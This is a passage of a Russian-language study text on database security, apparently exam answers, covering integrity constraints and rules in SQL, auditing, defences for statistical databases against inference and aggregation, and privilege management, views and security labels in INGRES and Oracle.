Замечание: Хотя триггеры базы данных позволяют определять и
вводить в действие правила целостности, триггер базы даных -
это не то же самое, что ограничение целостности. Помимо прочих
различий, триггер базы данных, определенный для введения в
действие правила целостности, не проверяет данных, уже
загруженных в таблицу. Поэтому настоятельно рекомендуется
использовать триггеры баз данных вместо ограничений целостности
только там, где правило целостности не может быть введено в
действие ограничением целостности.
Поддержание целостности данных в СУБД.
Для коммерческих организаций обеспечение целостности данных по крайней мере не менее важно, чем обеспечение конфиденциальности. Конечно, неприятно, когда кто-то подглядывает за суммами на счетах клиентов, но гораздо хуже, когда в процессе перевода денег со счета на счет часть суммы исчезает в неизвестном направлении. Известно, что главными врагами баз данных являются не внешние злоумышленники, а ошибки оборудования, администраторов, прикладных программ и пользователей. Защита от подобных ошибок - главная тема этого раздела.
С точки зрения пользователя СУБД, основными средствами поддержания целостности данных являются ограничения и правила.
2.1. Ограничения
Ограничения могут относиться к таблицам или отдельным столбцам. Ограничения на столбцы задаются при создании таблицы, в операторах CREATE TABLE Табличные ограничения относятся к группе столбцов и могут задаваться как при создании таблицы, так и позже, посредством оператора ALTER TABLE. Следующий пример содержит именованное ограничение, связывающее значения в двух столбцах:
CREATE TABLE dept (dname char(10), budget money, expenses money,
CONSTRAINT check_amount CHECK (budget > 0 and expenses <= budget));
{Бюджет должен быть положительным, а расходы не должны выходить за рамки бюджета}
Ссылочные ограничения отвечают за целостность связей между таблицами. Подобное ограничение требует, чтобы каждому значению в столбце или группе столбцов одной таблицы соответствовало ровно одно значение в другой таблице. Название ограничения объясняется тем, что такие значения играют роль ссылок между таблицами в реляционной модели. Приведем пример ссылочного ограничения:
CREATE TABLE emp (ename char(10), edept char(10) references dept(dname));
{Ни один работник не должен числиться в неизвестном отделе}
Ограничения всех видов накладываются владельцем таблицы и влияют на исход последующих операций с данными. Перед завершением выполнения SQL-оператора производится проверка имеющихся ограничений. При обнаружении нарушений СУБД сигнализирует о ненормальном завершении и аннулирует внесенные оператором изменения. Отметим, что для наложения ссылочного ограничения необходимо обладать привилегией REFERENCES по отношению к таблице, на которую делается ссылка (dept в примере выше). Ограничения можно не только накладывать, но и отменять. При этом между ограничениями могут существовать зависимости, и отмена одного из них может потребовать ликвидации других (ссылочных) ограничений, зависящих от первоначального.
Рассмотрим следующий пример:
CREATE TABLE dept (name char(10) NOT NULL, location char(20), CONSTRAINT dept_unique UNIQUE(name));
CREATE TABLE emp (name char(10), salary decimal(10,2), edept char(10) CONSTRAINT empref REFERENCES dept(name));
Если требуется удалить ограничение dept_unique, можно воспользоваться следующим оператором:
ALTER TABLE dept DROP CONSTRAINT dept_unique cascade;
Слово cascade означает, что следует удалить также все ограничения, прямо или косвенно зависящие от dept_unique. В данном случае будет изъято ограничение empref. Если вместо cascade указать restrict, то есть сделать попытку удалить только ограничение dept_unique, СУБД зафиксирует ошибку. Тем самым обеспечивается целостность системы ограничений. В СУБД INGRES делается попытка примирить контроль ограничений и эффективность функционирования. При массовом копировании данных контроль ограничений отключается. Это значит, что необходимо дополнять копирование запуском процедуры глобальной проверки целостности.
2.2. Правила
Правила позволяют вызывать выполнение заданных действий при определенных изменениях базы данных. Обычно действие - это вызов процедуры. Правила ассоциируются с таблицами и срабатывают при измененииэтих таблиц.
В отличие от ограничений, которые являются лишь средством контроля относительно простых условий, правила позволяют проверять и поддерживать сколь угодно сложные соотношения между элементами данных в базе.
Как и в случае ограничений, проверка правил отключается при массовых операциях копирования. Администратор базы данных может также явным образом отменить проверку правил, воспользовавшись оператором
SET NORULES;
Оператор
SET RULES;
позволит затем восстановить работу механизма правил. По умолчанию этот механизм включен. Для удаления правил служит оператор
DROP RULE правило;
СУБД обеспечивает автоматическое удаление правил в тех случаях, когда удаляется соответствующая таблица. Тем самым поддерживается целостность системы таблиц и правил.
В контексте информационной безопасности важно отметить, что создать правило, ассоциируемое с таблицей, может владелец этой таблицы, имеющий право на выполнение соответствующей процедуры. Пользователь, действия которого вызывают срабатывание правила, должен обладать лишь необходимыми правами доступа к таблице. Тем самым правила неявно расширяют привилегии пользователей. Подобные расширения нуждаются в строгом административном контроле, поскольку даже незначительное изменение правила или ассоциированной процедуры может кардинально повлиять на защищенность данных. Ошибка же в сложной системе правил вообще чревата непредсказуемыми последствиями.
3.Аудит
Чтобы иметь данные о процессах сбора, обработки, хранения и распространения информации, СУБД должна обладать подсистемой аудита (или обладать функцией аудита), т.е. иметь способность (возможность) фиксировать происходящие события. Подсистема аудита производит регистрацию событий, в том числе действий пользователей. Регистрируется время события, источник и данные события. События сохраняются в специальной базе данных для последующего анализа и статистической обработки. Среди прочих регистрируются и критические события, такие как попытки нарушения прав доступа к объектам. Администратор определяет уровень критичности событий, режим оповещения, а также действия, которые необходимо выполнить при возникновении таких событий.
Основной целью подсистемы аудита является идентификация угроз безопасности и их предотвращение. Анализ угроз должен показать, где, когда и при каких условиях информация в системе может потерять свою доступность, целостность и ценность.
Возможные протоколируемые события:
Добавление записи
Корректировка записи
Выборка записи
Удаление записи
Добавление записи хранимой процедурой
Корректировка записи хранимой процедурой
Выборка записи хранимой процедурой
Удаление записи хранимой процедурой
Удаление записи по ссылке
Корректировка записи по ссылке
Создание индекса
Удаление индекса
Добавление/Удаление файла
130. Защита статистических баз данных.
Базы данных рассматриваются как надежное хранилище структурированных данных, снабженное специальным механизмом для их эффективного использования в интересах пользователей (процессов). Таким механизмом является система управления базой данных (СУБД). Под системой управления базой данных понимаются программные или аппаратно-программные средства, реализующие функции управления данными, такие как: просмотр, сортировка, выборка, модификация, выполнение операций определения статистических характеристик и т. п.
Базы данных размещаются:
1) на компьютерной системе пользователя;
2) на специально выделенной ЭВМ (сервере).
Как правило, на компьютерной системе пользователя размещаются личные или персональные базы данных, которые обслуживают процессы одного пользователя.
В вычислительных сетях базы данных размещаются на серверах. В локальных и корпоративных сетях, как правило, используются централизованные базы данных. Общедоступные глобальные сети имеют распределенные базы данных. В таких сетях серверы размещаются на различных объектах сети. В качестве серверов часто используются специализированные ЭВМ, приспособленные к хранению больших объемов данных, обеспечивающие сохранность и доступность информации, а также оперативность обработки поступающих запросов. В централизованных базах данных проще решаются проблемы защиты информации от преднамеренных угроз, поддержания актуальности и непротиворечивости данных. Достоинством распределенных баз данных, при условии дублирования данных, является их высокая защищенность от стихийных бедствий, аварий, сбоев технических средств, а также диверсий.
Защита информации в базах данных, в отличие от защиты данных в файлах, имеет и свои особенности:
1) необходимость учета функционирования системы управления базой данных при выборе механизмов защиты;
2) разграничение доступа к информации реализуется не на уровне файлов, а на уровне частей баз данных;
При создании средств защиты информации в базах данных необходимо учитывать взаимодействие этих средств не только с ОС, но и с СУБД. При этом возможно встраивание механизмов защиты в СУБД или использование их в виде отдельных компонент. Для большинства СУБД придание им дополнительных функций возможно только на этапе разработки СУБД. В эксплуатируемые системы управления базами данных дополнительные компоненты могут быть внесены путем расширения или модификации языка управления.
В современных базах данных довольно успешно решаются задачи разграничения доступа, поддержания физической целостности и логической сохранности данных. Алгоритмы разграничения доступа к записям и даже к полям записей в соответствии с полномочиями пользователя хорошо отработаны, и преодолеть эту защиту злоумышленник может лишь с помощью фальсификации полномочий или внедрения вредительских программ. Разграничение доступа к файлам баз данных и к частям баз данных осуществляется СУБД путем установления полномочий пользователей и контроля этих полномочий при допуске к объектам доступа.
Полномочия пользователей устанавливаются администратором СУБД. Обычно стандартным идентификатором пользователя является пароль, передаваемый в зашифрованном виде. В распределенных КС процесс подтверждения подлинности пользователя дополняется специальной процедурой взаимной аутентификации удаленных процессов. Базы данных, содержащие конфиденциальную информацию, хранятся на внешних запоминающих устройствах в зашифрованном виде.
Физическая целостность баз данных достигается путем использования отказоустойчивых устройств, построенных, например, по технологии RAID. Логическая сохранность данных означает невозможность нарушения структуры модели данных. Современные СУБД обеспечивают такую логическую целостность и непротиворечивость на этапе описания модели данных.
В базах данных, работающих с конфиденциальной информацией, необходимо дополнительно использовать криптографические средства закрытия информации. Для этой цели используется шифрование как с помощью единого ключа, так и с помощью индивидуальных ключей пользователей. Применение шифрования с индивидуальными ключами повышает надежность механизма разграничения доступа, но существенно усложняет управление.
Возможны два режима работы с зашифрованными базами данных. Наиболее простым является такой порядок работы с закрытыми данными, при котором для выполнения запроса необходимый файл или часть файла расшифровывается на внешнем носителе, с открытой информацией производятся необходимые действия, после чего информация на ВЗУ снова зашифровывается. Достоинством такого режима является независимость функционирования средств шифрования и СУБД, которые работают последовательно друг за другом. В то же время сбой или отказ в системе может привести к тому, что на ВЗУ часть базы данных останется записанной в открытом виде.
Второй режим предполагает возможность выполнения СУБД запросов пользователей без расшифрования информации на ВЗУ. Поиск необходимых файлов, записей, полей, групп полей не требует расшифрования. Расшифрование производится в ОП непосредственно перед выполнением конкретных действий с данными. Такой режим возможен, если процедуры шифрования встроены в СУБД. При этом достигается высокий уровень защиты от несанкционированного доступа, но реализация режима связана с усложнением СУБД. Придание СУБД возможности поддержки такого режима работы осуществляется, как правило, на этапе разработки СУБД.
При построении защиты баз данных необходимо учитывать ряд специфических угроз безопасности информации, связанных с концентрацией в базах данных большого количества разнообразной информации, а также с возможностью использования сложных запросов обработки данных. К таким угрозам относятся:
1) инференция;
2) агрегирование;
3) комбинация разрешенных запросов для получения закрытых данных.
Под инференцией понимается получение конфиденциальной информации из сведений с меньшей степенью конфиденциальности путем умозаключений. Если учитывать, что в базах данных хранится информация, полученная из различных источников в разное время, отличающаяся степенью обобщенности, то аналитик может получить конфиденциальные сведения путем сравнения, дополнения и фильтрации данных, к которым он допущен. Кроме того, он обрабатывает информацию, полученную из открытых баз данных, средств массовой информации, а также использует просчеты лиц, определяющих степень важности и конфиденциальности отдельных явлений, процессов, фактов, полученных результатов. Такой способ получения конфиденциальных сведений, например, по материалам средств массовой информации, используется давно, и показал свою эффективность.
Близким к инференции является другой способ добывания конфиденциальных сведений – агрегирование. Под агрегированием понимается способ получения более важных сведений по сравнению с важностью тех отдельно взятых данных, на основе которых и получаются эти сведения. Так сведения о деятельности одного отделения или филиала корпорации обладают определенным весом. Данные же за всю корпорацию имеют куда большую значимость.
Если инференция и агрегирование являются способами добывания информации, которые применяются не только в отношении баз данных, то способ специального комбинирования запросов используется только при работе с базами данных. Использование сложных, а также последовательности простых логически связанных запросов позволяет получать данные, к которым доступ пользователю закрыт. Такая возможность имеется, прежде всего, в базах данных, позволяющих получать статистические данные. При этом отдельные записи, поля, (индивидуальные данные) являются закрытыми. В результате запроса, в котором могут использоваться логические операции AND, OR, NOT, пользователь может получить такие величины как количество записей, сумма, максимальное или минимальное значение. Используя сложные перекрестные запросы и имеющуюся в его распоряжении дополнительную информацию об особенностях интересующей записи (поля), злоумышленник путем последовательной фильтрации записей может получить доступ к нужной записи (полю).
Противодействие подобным угрозам осуществляется следующими методами:
1) блокировка ответа при неправильном числе запросов;
2) искажение ответа путем округления и другой преднамеренной коррекции данных;
3) разделение баз данных;
4) случайный выбор записи для обработки;
5) контекстно-ориентированная защита;
6) контроль поступающих запросов.
Метод блокировки ответа при неправильном числе запросов предполагает отказ в выполнении запроса, если в нем содержится больше определенного числа совпадающих записей из предыдущих запросов. Таким образом, данный метод обеспечивает выполнение принципа минимальной взаимосвязи вопросов. Этот метод сложен в реализации, так как необходимо запоминать и сравнивать все предыдущие запросы.
Метод коррекции заключается в незначительном изменении точного ответа на запрос пользователя. Для того, чтобы сохранить приемлемую точность статистической информации, применяется так называемый свопинг данных. Сущность его заключается во взаимном обмене значений полей записи, в результате чего все статистики i-го порядка, включающие i атрибутов, оказываются защищенными для всех i, меньших или равных некоторому числу. Если злоумышленник сможет выявить некоторые данные, то он не сможет определить, к какой конкретно записи они относятся.
Применяется также метод разделения баз данных на группы. В каждую группу может быть включено не более определенного числа записей. Запросы разрешены к любому множеству групп, но запрещаются к подмножеству записей из одной группы. Применение этого метода ограничивает возможности выделения данных злоумышленником на уровне не ниже группы записей. Метод разделения баз данных не нашел широкого применения из-за сложности получения статистических данных, обновления и реструктуризации данных.
Эффективным методом противодействия исследованию баз данных является метод случайного выбора записей для статистической обработки. Такая организация выбора записей не позволяет злоумышленнику проследить множество запросов.
Сущность контекстно-ориентированной защиты заключается в назначении атрибутов доступа (чтение, вставка, удаление, обновление, управление и т. д.) элементам базы данных (записям, полям, группам полей) в зависимости от предыдущих запросов пользователя. Например, пусть пользователю доступны в отдельных запросах поля: «идентификационные номера» и «фамилии сотрудников», а также «идентификационные номера» и «размер заработной платы». Сопоставив ответы по этим запросам, пользователь может получить закрытую информацию о заработной плате конкретных работников. Для исключения такой возможности пользователю следует запретить доступ к полю «идентификатор сотрудника» во втором запросе, если он уже выполнил первый запрос.
Одним из наиболее эффективных методов защиты информации в базах данных является контроль поступающих запросов на наличие «подозрительных» запросов или комбинации запросов. Анализ подобных попыток позволяет выявить возможные каналы получения несанкционированного доступа к закрытым данным....
131. Идентификация и аутентификация объектов баз данных, языковые средства разграничения доступа. Глобальная аутентификация пользователей баз данных.
1.Введение
Системы управления базами данных, в особенности реляционные СУБД, стали доминирующим инструментом хранения больших массивов информации. Сколько-нибудь развитые информационные приложения полагаются не на файловые структуры операционных систем, а на многопользовательские СУБД, выполненные в технологии клиент/сервер. В этой связи обеспечение информационной безопасности СУБД, и в первую очередь их серверных компонентов, приобретает решающее значение для безопасности организации в целом.
Для СУБД важны все три основных аспекта информационной безопасности - конфиденциальность, целостность и доступность. Общая идея защиты баз данных состоит в следовании рекомендациям, сформулированным для класса безопасности C2 в "Критериях оценки надежных компьютерных систем".
В принципе некоторые СУБД предлагают дополнения, характерные для класса B1, однако практическое применение подобных дополнений имеет смысл, только если все компоненты информационной структуры организации соответствуют категории безопасности B. Достичь этого непросто и с технической, и с финансовой точек зрения. Следует, кроме того, учитывать два обстоятельства. Во-первых, для подавляющего большинства коммерческих организаций класс безопасности C2 достаточен. Во-вторых, более защищенные версии отстают по содержательным возможностям от обычных "собратьев", так что поборники секретности по сути обречены на использование морально устаревших (хотя и тщательно проверенных) продуктов со всеми вытекающими последствиями в плане сопровождения.
Для иллюстрации излагаемых понятий и средств будут использоваться СУБД INGRES, Informix и Oracle.
2. Идентификация и проверка подлинности пользователей.
Обычно в СУБД для идентификации и проверки подлинности пользователей применяются либо соответствующие механизмы операционной системы, либо SQL-оператор CONNECT. Например, в случае СУБД Oracle оператор CONNECT имеет следующий вид:
CONNECT пользователь[/пароль] [@база_данных];
Так или иначе, в момент начала сеанса работы с сервером баз данных, пользователь идентифицируется своим именем, а средством аутентификации служит пароль. Детали этого процесса определяются реализацией клиентской части приложения.
Обратим внимание на следующее обстоятельство. Некоторые операционные системы, такие как UNIX, позволяют во время запуска программы менять действующий идентификатор пользователя. Приложение, работающее с базой данных, как правило, имеет привилегии, значительно превосходящие привилегии обычных пользователей. Естественно, что при этом приложение предоставляет тщательно продуманный, строго фиксированный набор возможностей. Если пользователь сумеет тем или иным способом завершить приложение, но сохранить подключение к серверу баз данных, ему станут доступны по существу любые действия с данными.
3. Управление доступом
Для иллюстрации вопросов, связанных с управлением доступом, будет использоваться СУБД INGRES.
3.1. Основные понятия
Обычно в СУБД применяется произвольное управление доступом, когда владелец объекта передает права доступа к нему (чаще говорят - привилегии) по своему усмотрению. Привилегии могут передаваться субъектам (отдельным пользователям), группам, ролям или всем пользователям.
Группа - это именованная совокупность пользователей. Объединение субъектов в группы облегчает администрирование баз данных и, как правило, строится на основе формальной или фактической структуры организации. Каждый пользователь может входить в несколько групп. Когда пользователь тем или иным способом инициирует сеанс работы с базой данных, он может указать, от имени какой из своих групп он выступает. Кроме того, для пользователя обычно определяют подразумеваемую группу.
Роль - это еще один возможный именованный носитель привилегий. С ролью не ассоциируют перечень допустимых пользователей - вместо этого роли защищают паролями. В момент начала сеанса с базой данных можно специфицировать используемую роль (обычно с помощью флагов или эквивалентного механизма) и ее пароль, если таковой имеется.
Привилегии роли имеют приоритет над привилегиями пользователей и групп. Иными словами, пользователю как субъекту не обязательно иметь права доступа к объектам, обрабатываемым приложениям с определенной ролью. Отметим, что в СУБД Oracle под ролью понимается набор привилегий. Такие роли служат средством структуризации привилегий и облегчают их модификацию.
Совокупность всех пользователей именуется как PUBLIC. Придание привилегий PUBLIC - удобный способ задать подразумеваемые права доступа.
3.2. Основные категории пользователей
Пользователей СУБД можно разбить на три категории:
администратор сервера баз данных. Он ведает установкой, конфигурированием сервера, регистрацией пользователей, групп, ролей и т.п. Администратор сервера имеет имя ingres. Прямо или косвенно он обладает всеми привилегиями, которые имеют или могут иметь другие пользователи.
администраторы базы данных. К этой категории относится любой пользователь, создавший базу данных, и, следовательно, являющийся ее владельцем. Он может предоставлять другим пользователям доступ к базе и к содержащимся в ней объектам. Администратор базы отвечает за ее сохранение и восстановление. В принципе в организации может быть много администраторов баз данных. Чтобы пользователь мог создать базу и стать ее администратором, он должен получить (вероятно, от администратора сервера) привилегию creatdb.
прочие (конечные) пользователи. Они оперируют данными, хранящимися в базах, в рамках выделенных им привилегий.
В последующих разделах будет детально проанализирована система привилегий СУБД INGRES. Здесь мы отметим только, что администратор сервера баз данных, как самый привилегированный пользователь, нуждается в особой защите. Компрометация его пароля фактически означает компрометацию сервера и всех хранящихся на нем баз данных. Поручать администрирование различных баз данных разным людям имеет смысл только тогда, когда эти базы независимы и по отношению к ним не придется проводить согласованную политику выделения привилегий или резервного копирования. В таком случае каждый из администраторов будет знать ровно столько, сколько обходимо. Можно провести аналогию между пользователем ingres и администраторами баз данных с одной стороны, и суперпользователем операционной системы (root в случае ОС UNIX) и служебными пользователями (в ОС UNIX это могут быть bin, lp, uucp и т.д.) с другой стороны. Введение служебных пользователей позволяет администрировать функциональные подсистемы, не получая привилегий суперпользователя. Точно так же информацию, хранящуюся на сервере баз данных, можно разделить на отсеки, так что компрометация администратора одного отсека не означает обязательной компрометации другого.
3.3. Виды привилегий
Привилегии в СУБД можно подразделить на две категории: привилегии безопасности и привилегии доступа. Привилегии безопасности позволяют выполнять административные действия. Привилегии доступа, в соответствии с названием, определяют права доступа субъектов к определенным объектам.
3.3.1. Привилегии безопасности
Привилегии безопасности всегда выделяются конкретному пользователю (а не группе, роли или всем) во время его создания (оператором CREATE USER) или изменения характеристик (оператором ALTER USER). Таких привилегий пять:
security - право управлять безопасностью СУБД и отслеживать действия пользователей. Пользователь с этой привилегией может подключаться к любой базе данных, создавать, удалять и изменять характеристики пользователей, групп и ролей, передавать права на доступ к базам данным другим пользователям, управлять записью регистрационной информации, отслеживать запросы других пользователей и, наконец, запускать INGRES-команды от имени других пользователей. Привилегия security необходима администратору сервера баз данных, а также лицу, персонально отвечающему за информационную безопасность. Передача этой привилегии другим пользователям (например, администраторам баз данных) увеличивает число потенциально слабых мест в защите сервера баз данных.
createdb - право на создание и удаление баз данных. Этой привилегией, помимо администратора сервера, должны обладать пользователи, которым отводится роль администраторов отдельных баз данных.
operator - право на выполнение действий, которые традиционно относят к компетенции оператора. Имеются в виду запуск и остановка сервера, сохранение и восстановление информации. Помимо администраторов сервера и баз данных этой привилегией целесообразно наделить также администратора операционной системы.
maintain_locations - право на управление расположением баз администраторы сервера баз данных и операционной системы.
trace - право на изменение состояния флагов отладочной трассировки. Данная привилегия полезна администратору сервера баз данных и другим знающим пользователям при анализе сложных, непонятных ситуаций.
3.3.2. Привилегии доступа
Привилегии доступа выделяются пользователям, группам, ролям или всем посредством оператора GRANT и изымаются с помощью оператора REVOKE. Эти привилегии, как правило, присваивает владелец соответствующих объектов (он же - администратор базы данных) или обладатель привилегии security (обычно администратор сервера баз данных).
Прежде чем присваивать привилегии группам и ролям, их (группы и роли) необходимо создать с помощью операторов CREATE GROUP и CREATE ROLE.
Для изменения состава группы служит оператор ALTER GROUP.
Оператор DROP GROUP позволяет удалять группы, правда, только после того, как опустошен список членов группы.
Оператор ALTER ROLE служит для изменения паролей ролей, а DROP ROLE - для удаления ролей.
Напомним, что создавать и удалять именованные носители привилегий, а также изменять их характеристики может лишь пользователь с привилегией security. При совершении подобных действий необходимо иметь подключение к базе данных iidbdb, в которой хранятся сведения о субъектах и их привилегиях. Привилегии доступа можно подразделить в соответствии с видами объектов, к которым они относятся. В СУБД INGRES таких видов пять:
таблицы и представления
процедуры
базы данных
сервер баз данных
события
Присваивание привилегий доступа производится с помощью оператора GRANT. В самом общем виде оператор GRANT имеет следующий формат:
GRANT привилегии ON объекты TO кому;
Применительно к таблицам и представлениям можно управлять следующими правами доступа:
SELECT - право на выборку данных
INSERT - право на добавление данных
DELETE - право на удаление данных
UPDATE - право на обновление данных (можно указать определенные столбцы, разрешенные для обновления)
REFERENCES - право на использование внешних ключей, ссылающихся на данную таблицу (можно указать столбцы)
По умолчанию пользователь не имеет никаких прав доступа к таблицам и представлениям - их необходимо передать с помощью операторов GRANT. По отношению к процедуре можно предоставить право на выполнение. При этом не нужно заботиться о выделении прав доступа к объектам, обрабатываемым процедурой - их наличие не обязательно. Таким образом, процедуры баз данных являются удобным средством предоставления контролируемого доступа для выполнения строго определенных действий над данными.
Права доступа к базе данных как к единому целому может предоставлять ее администратор или пользователь с привилегией security. Эти "права" на самом деле устанавливают ряд ограничений на использование базы данных, то есть по сути являются запретительными. Имеется в виду ограничение на число операций ввода/вывода или число строк, возвращаемых одним запросом, ограничение права создания таблиц и процедур и т.п. По умолчанию пользователь не стесняется количественными лимитами и получает право на создание объектов в базе.
Отметим, что при создании базы данных указывается ее статус - общая или личная. Это влияет на подразумеваемые права доступа к базе. По умолчанию право на подключение к общей базе предоставляется всем. Право на подключение к личной базе нужно передавать явным образом. Право на подключение необходимо для выполнения всех прочих операций с базой и содержащимися в ней объектами. Привилегии (которые в данном случае точнее было бы назвать ограничениями) QUERY_IO_LIMIT и QUERY_ROW_LIMIT проверяются на основании оценок, выданных оптимизатором запросов. Если оптимизатор предсказывает, что запрос превысит отведенный лимит числа операций ввода вывода или возвращаемых строк, он (запрос) отвергается. Наложение подобных количественных ограничений препятствует монополизации сервера одним клиентом и может использоваться как один из инструментов поддержания высокой готовности.
Обратим внимание на следующее любопытное обстоятельство. По умолчанию все пользователи имеют право создавать процедуры в базах данных. Если бы они при этом автоматически получали права на выполнение, то смогли бы осуществить по существу любую операцию с данными, поскольку выполнение процедуры не требует прав доступа к обрабатываемым объектам. К счастью, для передачи привилегии доступа к объектам, и в, частности, для предоставления права на выполнение процедуры, надо быть не только владельцем объекта, но и администратором базы данных. Мы видим, насколько осторожно нужно относиться к предоставлению привилегий выполнения по отношению к новым, непроверенным процедурам. В принципе достаточно одного "троянского коня", чтобы скомпрометировать всю базу данных. Процедуры являются столь же гибким, но и столь же опасным средством, что и UNIX-программы с битом переустановки действующего идентификатора пользователя.
Отметим, что запретительные привилегии в принципе можно наложить на администратора базы данных или администратора сервера, однако они не будут иметь силы. Тем самым злоумышленник лишен возможности ограничить права доступа администраторов. В частности, он не может создать личную "секретную" базу данных, к которой не будет иметь доступ пользователь ingres. Правда, у подобного положения есть и оборотная сторона - компрометация пароля администратор сервера предоставляет злоумышленнику неограниченные права доступа ко всем базам данных.
Права доступа к серверу распространяются на все базы данных, обслуживаемые данным серверам. Набор этих прав тот же, что и для отдельных баз данных. Привилегии, явно определенные для отдельных баз, имеют приоритет над привилегиями сервера.
Механизм событий подробно рассмотрен в [1]. Здесь мы отметим лишь, что по отношению к событиям имеются две привилегии - RAISE и REGISTER. Первая позволяет возбуждать события, вторая - регистрироваться для их получения.
Оператор GRANT может содержать необязательную часть, принципиально важную для защиты СУБД.
Имеется в виду конструкция
GRANT ...... WITH GRANT OPTION;
Подобный оператор GRANT передает не только указанные в нем привилегии, но и права на их дальнейшую передачу. Очевидно, что использование конструкции WITH GRANT OPTION ведет к децентрализации контроля над привилегиями и содержит потенциальную угрозу безопасности данных.
Для отмены привилегий, выданных ранее (как разрешительных, так и запретительных), служит оператор REVOKE.
3.3.3. Получение информации о привилегиях
Важно не только давать и отбирать привилегии, но и иметь информацию о том, какими правами доступа обладает каждый из субъектов. Средствами SQL из этих таблиц можно извлечь необходимую информацию.
3.4. Использование представлений для управления доступом
СУБД предоставляют специфическое средство управления доступом - представления. Представления позволяют сделать видимыми для субъектов определенные столбцы базовых таблиц (реализовать проекцию) или отобрать определенные строки (реализовать селекцию). Не предоставляя субъектам прав доступа к базовым таблицам и сконструировав подходящие представления, администратор базы данных защитит таблицы от несанкционированного доступа и снабдит каждого пользователя своим видением базы данных, когда недоступные объекты как бы не существуют.
Приведем пример создания представления, содержащего два столбца исходной таблицы и включающего в себя только строки с определенным значением одного из столбцов:
CREATE VIEW empview AS SELECT name, dept FROM employee WHERE dept = 'shoe';
Предоставим всем право на выборку из этого представления:
GRANT SELECT ON empview TO PUBLIC;
Субъекты, осуществляющие доступ к представлению empview, могут пытаться запросить сведения об отделах, отличных от shoe, например:
SELECT * FROM empview WHERE dept = 'toy';
но в ответ просто получат результат из нуля строк, а не код ответа, свидетельствующий о нарушении прав доступа. Это принципиально важно, так как лишает злоумышленника возможности получить список отделов косвенным образом, анализируя коды ответов, возвращаемые после обработки SQL-запросов.
3.5. Иерархия прав доступа
Оператор GRANT и другие средства управления доступом СУБД позволяют реализовать следующие виды ограничения доступа:
операционные ограничения (за счет прав доступа SELECT, INSERT, UPDATE, DELETE, применимых ко всем или только некоторым столбцам таблицы);
ограничения по значениям (за счет механизма представлений);
ограничения на ресурсы (за счет привилегий доступа к базам данных).
При обработке запроса СУБД сначала проверяет права доступа к объектам. Если операционные ограничения оказываются нарушенными, запрос отвергается с выдачей соответствующей диагностики. Нарушение ограничений на значения влияет только на количество результирующих строк; никакой диагностики при этом не выдается (см. предыдущий пункт). Наконец, после учета двух предыдущих ограничений, запрос поступает на обработку оптимизатору. Если тот обнаружит превышение ограничений на ресурсы, запрос будет отвергнут с выдачей соответствующей диагностики. На иерархию привилегий можно посмотреть и с другой точки зрения. Каждый пользователь, помимо, собственных, имеет привилегии PUBLIC. Кроме этого, он может входить в различные группы и запускать приложения с определенными ролями. Как соотносятся между собой права, предоставленные различным именованным носителям привилегий?
Иерархия авторизации выглядит для СУБД INGRES следующим образом:
роль (высший приоритет)
пользователь
группа
PUBLIC (низший приоритет)
Для каждого объекта, к которому осуществляется доступ, INGRES пытается отыскать в иерархии привилегию, относящуюся к запрашиваемому виду доступа (SELECT, EXECUTE и т.п.). Например, при попытке доступа к таблице с целью обновления, INGRES проверяет привилегии роли, пользователя, группы и всех пользователей. Если хотя бы на одном уровне иерархии привилегия UPDATE имеется, запрос передается для дальнейшей обработки. В противном случае используется подразумеваемое право доступа, которое предписывает отвергнуть запрос.
Рассмотрим подробнее трактовку ограничений на ресурсы. Пусть, например, на всех четырех уровнях иерархии специфицированы свои ограничения на число результирующих строк запроса (привилегия QUERY_ROW_LIMIT):
- роль 1700
- пользователь 1500
- группа 2000
- PUBLIC 1000
Если пользователь в момент начала сеанса работы с СУБД задал и роль, и группу, будет использовано ограничение, накладываемое ролью (1700). Если бы привилегия QUERY_ROW_LIMIT для роли отсутствовала, или пользователь не задал роль в начале сеанса работы, пользователь смог бы получать результаты не более чем из 1500 строк и т.п. Если бы привилегия QUERY_ROW_LIMIT вообще не была специфицирована ни на одном уровне иерархии, СУБД воспользовалась бы подразумеваемым значением, которое в данном случае означает отсутствие ограничений на число результирующих строк.
Обычно используемая роль и группа задаются, соответственно, как аргументы опций -R и -G в командной строке запуска приложения.
3.7. Метки безопасности и принудительный контроль доступа
Выше были описаны средства произвольного управления доступом, характерные для уровня безопасности C. Как уже указывалось, они в принципе достаточны для подавляющего большинства коммерческих приложений. Тем не менее, они не решают одной весьма важной задачи - задачи слежения за передачей информации. Средства произвольного управления доступом не могут помешать авторизованному пользователю законным образом получить секретную информацию и затем сделать ее доступной для других, неавторизованных пользователей. Нетрудно понять, почему это так. При произвольном управлении доступом привилегии существуют отдельно от данных (в случае реляционных СУБД - отдельно от строк реляционных таблиц). В результате данные оказываются "обезличенными", и ничто не мешает передать их кому угодно даже средствами самой СУБД.
В "Критериях оценки надежных компьютерных систем", применительно к системам уровня безопасности B, описан механизм меток безопасности, реализованный в версии INGRES/Enhanced Security (INGRES с повышенной безопасностью). Применять эту версию на практике имеет смысл только в сочетании с операционной системой и другими программными компонентами того же уровня безопасности. Тем не менее, рассмотрение реализации меточной безопасности в СУБД INGRES интересно с познавательной точки зрения, а сам подход, основанный на разделении данных по уровням секретности и категориям доступа, может оказаться полезным при проектировании системы привилегий многочисленных пользователей по отношению к большим массивам данных.
В СУБД INGRES/Enhanced Security к каждой реляционной таблице неявно добавляется столбец, содержащий метки безопасности строк таблицы. Метка безопасности состоит из трех компонентов:
Уровень секретности. Смысл этого компонента зависит от приложения. В частности, возможен традиционный спектр уровней от "совершенно секретно" до "несекретно".
Категории. Понятие категории позволяет разделить данные на "отсеки" и тем самым повысить надежность системы безопасности. В коммерческих приложениях категориями могут служить "финансы", "кадры", "материальные ценности" и т.п. Ниже назначение категорий разъясняется более подробно.
Области. Является дополнительным средством деления информации на отсеки. На практике компонент "область" может действительно иметь географический смысл, обозначая, например, страну, к которой относятся данные.
Каждый пользователь СУБД INGRES/Enhanced Security характеризуется степенью благонадежности, которая также определяется меткой безопасности, присвоенной данному пользователю. Пользователь может получить доступ к данным, если степень его благонадежности удовлетворяет требованиям соответствующей метки безопасности. Более точно:
уровень секретности пользователя должен быть не ниже уровня секретности данных;
набор категорий, заданных в метке безопасности данных, должен целиком содержаться в метке безопасности пользователя;
набор областей, заданных в метке безопасности пользователя, должен целиком содержаться в метке безопасности данных.
